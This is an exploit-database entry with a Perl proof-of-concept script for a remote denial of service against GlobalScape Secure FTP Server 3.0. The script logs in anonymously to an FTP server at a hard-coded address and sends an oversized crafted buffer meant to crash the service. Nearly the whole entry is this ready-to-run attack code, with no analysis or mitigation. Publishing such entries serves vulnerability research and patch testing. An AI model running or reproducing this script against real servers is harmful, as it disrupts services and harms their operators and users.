GlobalScape Secure FTP Server 3.0 - Denial of Service

2024.02.01
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: 404

#!/usr/bin/perl use strict; use IO::Socket; print "GlobalScape Secure FTP Server 3.0 - Denial of Service \n"; my $payload = "\x41\x42\x0a\x00"x147; my $buffer = "\x41"x2043 . "\x41\x42\x43\x00" . "\x42"x36 . $payload; my $sock = IO::Socket::INET->new(PeerAddr => '192.168.0.10', PeerPort => 21, Proto => 'tcp'); if ($sock) { print "[+] Connected to FTP server\n"; print "[+] Sending Username\n"; print $sock "USER anonymous\r\n"; print "[+] Sending Password\n"; print $sock "PASS anonymous\r\n"; print "[+] Sending payload to exploit \nn"; print $sock $buffer . "\r\n"; print "[+] Exploit!\n"; close($sock); } else { print "Can't connect to FTP\n"; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top